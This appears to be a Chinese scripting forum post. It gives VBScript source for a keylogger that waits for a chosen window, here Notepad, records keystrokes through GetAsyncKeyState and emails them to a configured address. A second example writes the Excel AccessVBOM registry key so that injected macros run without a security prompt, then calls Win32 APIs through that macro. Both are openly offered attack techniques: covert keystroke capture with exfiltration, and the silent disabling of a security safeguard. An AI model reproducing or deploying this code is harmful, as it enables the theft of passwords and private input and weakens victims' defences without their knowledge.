czjt1234

 
'**************************************** 参数设置 ****************************************
Const WINDOW_TITLE = "无标题 - 记事本"  '要监视的程序的窗口标题文字
Const PROCESS_NAME = "notepad.exe"   '要监视的程序的进程名称
Const SENDER_MAIL_ADDR = "xxxxx@163.com"  '用于发送邮件的邮箱地址
Const SENDER_MAIL_PWD = "xxxxxxxxx"   '用于发送邮件的邮箱密码
Const SENDEE_MAIL_ADDR = "xxxxxxxxx@qq.com"  '用于接收邮件的邮箱地址
'******************************** 注册要使用的Win32API函数 ********************************
Dim strDllPath
strDllPath = Replace(WScript.ScriptFullName,WScript.ScriptName,"dynwrap.dll") '获取DLL文件的绝对路径
RegisterCOM strDllPath   '注册DynamicWrapper组件
Dim g_objConnectAPI
Set g_objConnectAPI = CreateObject("DynamicWrapper") '创建全局的DynamicWrapper组件对象实例
'以下为声明将要用到的Win32API函数
With g_objConnectAPI
 .Register "user32.dll", "FindWindow",          "i=ss", "f=s", "r=l"
 .Register "user32.dll", "GetForegroundWindow",         "f=s", "r=l"
 .Register "user32.dll", "GetAsyncKeyState",    "i=l",  "f=s", "r=l"
End With
'+++
'++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 
'******************************************************************************************
'*** 程序主体流程区域:
'循环监视指定窗口
Do
 If IsFoundWindowTitle() And IsTheWindowActive() Then Exit Do '当指定窗口存在且为当前激活窗口跳出循环
 WScript.Sleep 500
Loop
 
Dim TheKeyResult '用于保存键盘记录的结果
TheKeyResult = ""
'开始循环记录按键，当窗口出于非激活状态后或者用户输入回车键后停止记录按键
Do
 If Not IsTheWindowActive() Then Exit Do
 Dim TheKey
 TheKey = ""
 TheKey = GetThePressKey()
 TheKeyResult = TheKeyResult & TheKey
 WScript.Sleep 20
Loop Until TheKey = "[ENTER]"
'MsgBox TheKeyResult,vbSystemModal, "按键信息"
SendEmail SENDER_MAIL_ADDR, SENDER_MAIL_PWD, SENDEE_MAIL_ADDR, "", "按键内容", TheKeyResult, ""  '发送按键信息的邮件
'CreateLogFile TheKeyResult  '以日志形式保存所记录的按键信息
'***
'******************************************************************************************
 
 
 
'------------------------------------------以下为函数定义区域-------------------------------------------
 
'检测WINDOW_TITLE所指定标题文字的窗口是否存在
Function IsFoundWindowTitle()
 Dim hWnd
 hWnd = g_objConnectAPI.FindWindow(vbNullString,WINDOW_TITLE)
 IsFoundWindowTitle = CBool(hWnd)
 
End Function
'检测WINDOW_TITLE所指定标题文字的窗口是否为当前激活的窗口
Function IsTheWindowActive()
 Dim hWnd,hAct
 hWnd = g_objConnectAPI.FindWindow(vbNullString,WINDOW_TITLE)
 hAct = g_objConnectAPI.GetForegroundWindow()
 IsTheWindowActive = CBool(hWnd=hAct)
 
End FunctionCOPY

这个是调用api ，需要下载并注册注册一个dynwrap.dll文件，论坛上有，使用方法也有，你搜索下

或者你安装了excel也可以用excel调用api

这是一个例子：

Option Explicit
Dim WshShell, oExcel, strRegKey, strCode, x, y
Set oExcel = CreateObject("Excel.Application")
set WshShell = CreateObject("wscript.Shell")
strRegKey = "HKEY_CURRENT_USER\Software\Microsoft\Office\$\Excel\Security\AccessVBOM"
strRegKey = Replace(strRegKey, "$", oExcel.Version)
'生成注册表路径，oExcel.Version 是当前版本号
WshShell.RegWrite strRegKey, 1, "REG_DWORD"
'写如注册表，1表示设置安全级别为低，这样添加宏就不会有安全提示了
strCode = _
"Private Declare Function SetCursorPos Lib ""user32"" (ByVal x As Long, ByVal y As Long) As Long" & vbCrLf & _
                                                                                                    vbCrLf & _
"Private Type POINTAPI"                                                                           & vbCrLf & _
    "X As Long"                                                                                   & vbCrLf & _
    "Y As Long"                                                                                   & vbCrLf & _
"End Type"                                                                                        & vbCrLf & _
                                                                                                    vbCrLf & _
"Private Declare Function GetCursorPos Lib ""user32"" (lpPoint As POINTAPI) As Long"              & vbCrLf & _
                                                                                                    vbCrLf & _
"Sub SetCursor(x as Long, y as Long)"                                                             & vbCrLf & _
    "SetCursorPos x, y"                                                                           & vbCrLf & _
"End Sub"                                                                                         & vbCrLf & _
                                                                                                    vbCrLf & _
"Public Function GetXCursorPos() As Long"                                                         & vbCrLf & _
    "Dim pt As POINTAPI"                                                                          & vbCrLf & _
    "GetCursorPos pt"                                                                             & vbCrLf & _
    "GetXCursorPos = pt.X"                                                                        & vbCrLf & _
"End Function"                                                                                    & vbCrLf & _
                                                                                                    vbCrLf & _
"Public Function GetYCursorPos() As Long"                                                         & vbCrLf & _
    "Dim pt As POINTAPI"                                                                          & vbCrLf & _
    "GetCursorPos pt"                                                                             & vbCrLf & _
    "GetYCursorPos = pt.Y"                                                                        & vbCrLf & _
"End Function"
oExcel.Workbooks.Add.VBProject.VBComponents.Add(1).CodeModule.AddFromString strCode
x = oExcel.Run("GetXCursorPos")
y = oExcel.Run("GetYCursorPos")
WScript.Echo x, y
oExcel.Run "SetCursor", 1024, 768
oExcel.DisplayAlerts = False
oExcel.Workbooks.Add.Close
oExcel.QuitCOPY